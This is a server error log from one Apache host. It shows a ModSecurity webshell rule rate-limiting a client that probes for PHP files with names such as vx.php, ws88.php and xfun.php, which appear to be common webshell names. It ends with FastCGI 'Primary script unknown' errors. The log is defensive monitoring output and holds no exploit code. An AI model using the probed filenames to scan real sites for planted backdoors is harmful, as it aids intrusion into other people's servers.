[Fri Mar 27 18:15:09.311663 2026] [:error] [pid 4341:tid 4344] [client 20.91.226.172:2605] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acZYreKJWrNB5dMlERF3fgAAAYE"]
[Fri Mar 27 18:15:09.857998 2026] [:error] [pid 27743:tid 27765] [client 20.91.226.172:20654] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "acZYrSA46UYYLqzw99CsRAAAAAE"]
[Fri Mar 27 18:15:10.435463 2026] [:error] [pid 63897:tid 63904] [client 20.91.226.172:2818] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "acZYrmVSkmYmLu7ycYguiAAAAQU"]
[Fri Mar 27 18:15:10.978773 2026] [:error] [pid 4341:tid 4354] [client 20.91.226.172:8206] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "acZYruKJWrNB5dMlERF3gQAAAYs"]
[Fri Mar 27 18:15:11.555174 2026] [:error] [pid 27743:tid 27770] [client 20.91.226.172:15327] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "acZYryA46UYYLqzw99CsSAAAAAY"]
[Fri Mar 27 18:15:12.174901 2026] [:error] [pid 27743:tid 27771] [client 20.91.226.172:13496] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "acZYsCA46UYYLqzw99CsTAAAAAc"]
[Fri Mar 27 18:15:12.723601 2026] [:error] [pid 27743:tid 27786] [client 20.91.226.172:13443] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "acZYsCA46UYYLqzw99CsTwAAABY"]
[Fri Mar 27 18:15:13.290420 2026] [:error] [pid 4341:tid 4348] [client 20.91.226.172:40974] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "acZYseKJWrNB5dMlERF3hwAAAYU"]
[Fri Mar 27 18:15:13.854678 2026] [:error] [pid 27749:tid 27810] [client 20.91.226.172:2616] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "acZYscEqyoMni2Q6_X7f6wAAAFM"]
[Fri Mar 27 18:15:14.441885 2026] [:error] [pid 4341:tid 4360] [client 20.91.226.172:15311] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "acZYsuKJWrNB5dMlERF3iAAAAZE"]
[Fri Mar 27 18:15:15.021860 2026] [:error] [pid 27749:tid 27811] [client 20.91.226.172:31889] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "acZYs8EqyoMni2Q6_X7f7gAAAFQ"]
[Fri Mar 27 18:15:15.601541 2026] [:error] [pid 27750:tid 27825] [client 20.91.226.172:2622] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "acZYs4aSil5rd17ieLzbMgAAAIc"]
[Fri Mar 27 18:15:16.218498 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:35993] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "acZYtJLjeJUC3OKtEx81SwAAAVE"]
[Fri Mar 27 18:15:16.787786 2026] [:error] [pid 63897:tid 63915] [client 20.91.226.172:64129] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acZYtGVSkmYmLu7ycYgulAAAARA"]
[Fri Mar 27 18:15:17.372369 2026] [:error] [pid 63897:tid 63917] [client 20.91.226.172:13445] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acZYtWVSkmYmLu7ycYgulgAAARI"]
[Fri Mar 27 18:15:17.904927 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:13786] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acZYtZLjeJUC3OKtEx81TgAAAVg"]
[Fri Mar 27 18:15:18.447378 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:64157] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acZYtiA46UYYLqzw99CsVQAAABI"]
[Fri Mar 27 18:15:19.050352 2026] [:error] [pid 27749:tid 27809] [client 20.91.226.172:13516] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acZYt8EqyoMni2Q6_X7f_AAAAFI"]
[Fri Mar 27 18:15:19.624627 2026] [:error] [pid 27743:tid 27781] [client 20.91.226.172:20616] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acZYtyA46UYYLqzw99CsXgAAABE"]
[Fri Mar 27 18:15:20.188295 2026] [:error] [pid 27743:tid 27774] [client 20.91.226.172:28769] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acZYuCA46UYYLqzw99CsYAAAAAo"]
[Fri Mar 27 18:15:20.740531 2026] [:error] [pid 4293:tid 4301] [client 20.91.226.172:31923] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "acZYuJLjeJUC3OKtEx81WQAAAUY"]
[Fri Mar 27 18:15:21.293930 2026] [:error] [pid 4293:tid 4295] [client 20.91.226.172:8534] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acZYuZLjeJUC3OKtEx81YAAAAUA"]
[Fri Mar 27 18:15:21.822087 2026] [:error] [pid 27749:tid 27802] [client 20.91.226.172:28763] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acZYucEqyoMni2Q6_X7f_gAAAEs"]
[Fri Mar 27 18:15:22.382607 2026] [:error] [pid 27743:tid 27786] [client 20.91.226.172:31874] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acZYuiA46UYYLqzw99CsYwAAABY"]
[Fri Mar 27 18:15:22.910445 2026] [:error] [pid 27743:tid 27777] [client 20.91.226.172:11470] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acZYuiA46UYYLqzw99CsZQAAAA0"]
[Fri Mar 27 18:15:23.468689 2026] [:error] [pid 4293:tid 4305] [client 20.91.226.172:13488] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acZYu5LjeJUC3OKtEx81cgAAAUo"]
[Fri Mar 27 18:15:24.023956 2026] [:error] [pid 27743:tid 27774] [client 20.91.226.172:36408] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acZYvCA46UYYLqzw99CsbwAAAAo"]
[Fri Mar 27 18:15:24.582814 2026] [:error] [pid 27750:tid 27826] [client 20.91.226.172:13547] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acZYvIaSil5rd17ieLzbNwAAAIg"]
[Fri Mar 27 18:15:25.155457 2026] [:error] [pid 4293:tid 4310] [client 20.91.226.172:23346] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "acZYvZLjeJUC3OKtEx81eQAAAU8"]
[Fri Mar 27 18:15:25.761342 2026] [:error] [pid 27743:tid 27768] [client 20.91.226.172:62420] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "acZYvSA46UYYLqzw99CsdQAAAAQ"]
[Fri Mar 27 18:15:26.318578 2026] [:error] [pid 27743:tid 27770] [client 20.91.226.172:36355] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "acZYviA46UYYLqzw99CseQAAAAY"]
[Fri Mar 27 18:15:26.908600 2026] [:error] [pid 27743:tid 27773] [client 20.91.226.172:11172] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "acZYviA46UYYLqzw99CsfgAAAAk"]
[Fri Mar 27 18:15:27.460035 2026] [:error] [pid 4293:tid 4303] [client 20.91.226.172:2253] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "acZYv5LjeJUC3OKtEx81ewAAAUg"]
[Fri Mar 27 18:15:28.057539 2026] [:error] [pid 27743:tid 27775] [client 20.91.226.172:28783] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "acZYwCA46UYYLqzw99CsigAAAAs"]
[Fri Mar 27 18:15:28.608877 2026] [:error] [pid 4341:tid 4343] [client 20.91.226.172:22913] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "acZYwOKJWrNB5dMlERF3nAAAAYA"]
[Fri Mar 27 18:15:29.149250 2026] [:error] [pid 27743:tid 27778] [client 20.91.226.172:2299] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "acZYwSA46UYYLqzw99CskwAAAA4"]
[Fri Mar 27 18:15:29.685635 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:64156] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "acZYwZLjeJUC3OKtEx81fwAAAVc"]
[Fri Mar 27 18:15:30.219879 2026] [:error] [pid 4293:tid 4301] [client 20.91.226.172:11169] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acZYwpLjeJUC3OKtEx81gQAAAUY"]
[Fri Mar 27 18:15:30.770714 2026] [:error] [pid 4341:tid 4366] [client 20.91.226.172:31907] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acZYwuKJWrNB5dMlERF3oQAAAZc"]
[Fri Mar 27 18:15:31.333605 2026] [:error] [pid 4293:tid 4315] [client 20.91.226.172:19508] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acZYw5LjeJUC3OKtEx81iQAAAVQ"]
[Fri Mar 27 18:15:31.860709 2026] [:error] [pid 4341:tid 4367] [client 20.91.226.172:10464] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acZYw-KJWrNB5dMlERF3ogAAAZg"]
[Fri Mar 27 18:15:32.398430 2026] [:error] [pid 27750:tid 27837] [client 20.91.226.172:39428] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acZYxIaSil5rd17ieLzbPAAAAJM"]
[Fri Mar 27 18:15:32.950928 2026] [:error] [pid 4293:tid 4310] [client 20.91.226.172:2302] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acZYxJLjeJUC3OKtEx81jwAAAU8"]
[Fri Mar 27 18:15:33.527277 2026] [:error] [pid 27743:tid 27773] [client 20.91.226.172:11492] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acZYxSA46UYYLqzw99CspgAAAAk"]
[Fri Mar 27 18:15:34.102538 2026] [:error] [pid 4293:tid 4309] [client 20.91.226.172:12497] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acZYxpLjeJUC3OKtEx81lQAAAU4"]
[Fri Mar 27 18:15:34.648802 2026] [:error] [pid 4293:tid 4295] [client 20.91.226.172:13799] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "acZYxpLjeJUC3OKtEx81oAAAAUA"]
[Fri Mar 27 18:15:35.200841 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:14511] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "acZYx5LjeJUC3OKtEx81pwAAAVg"]
[Fri Mar 27 18:15:35.764923 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:19515] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "acZYx5LjeJUC3OKtEx81swAAAVc"]
[Fri Mar 27 18:15:36.318878 2026] [:error] [pid 27750:tid 27822] [client 20.91.226.172:13775] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "acZYyIaSil5rd17ieLzbPQAAAIQ"]
[Fri Mar 27 18:15:36.910938 2026] [:error] [pid 4293:tid 4299] [client 20.91.226.172:36412] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acZYyJLjeJUC3OKtEx81ygAAAUQ"]
[Fri Mar 27 18:15:37.450582 2026] [:error] [pid 27851:tid 27865] [client 20.91.226.172:22941] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acZYyXR2ccxe3RMCLbrVkwAAAMc"]
[Fri Mar 27 18:15:37.983170 2026] [:error] [pid 63897:tid 63912] [client 20.91.226.172:21463] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acZYyWVSkmYmLu7ycYgungAAAQ0"]
[Fri Mar 27 18:15:38.529399 2026] [:error] [pid 27851:tid 27880] [client 20.91.226.172:31891] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acZYynR2ccxe3RMCLbrVlQAAANY"]
[Fri Mar 27 18:15:39.064211 2026] [:error] [pid 4341:tid 4344] [client 20.91.226.172:20683] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "acZYy-KJWrNB5dMlERF3rgAAAYE"]
[Fri Mar 27 18:15:39.612618 2026] [:error] [pid 4293:tid 4296] [client 20.91.226.172:21489] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "acZYy5LjeJUC3OKtEx813QAAAUE"]
[Fri Mar 27 18:15:40.182949 2026] [proxy_fcgi:error] [pid 63897:tid 63901] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:41.805372 2026] [proxy_fcgi:error] [pid 63897:tid 63901] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:42.076166 2026] [proxy_fcgi:error] [pid 63897:tid 63905] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:42.341009 2026] [proxy_fcgi:error] [pid 63897:tid 63923] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:42.607751 2026] [proxy_fcgi:error] [pid 63897:tid 63910] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:42.874012 2026] [proxy_fcgi:error] [pid 63897:tid 63918] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:43.139476 2026] [proxy_fcgi:error] [pid 63897:tid 63908] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
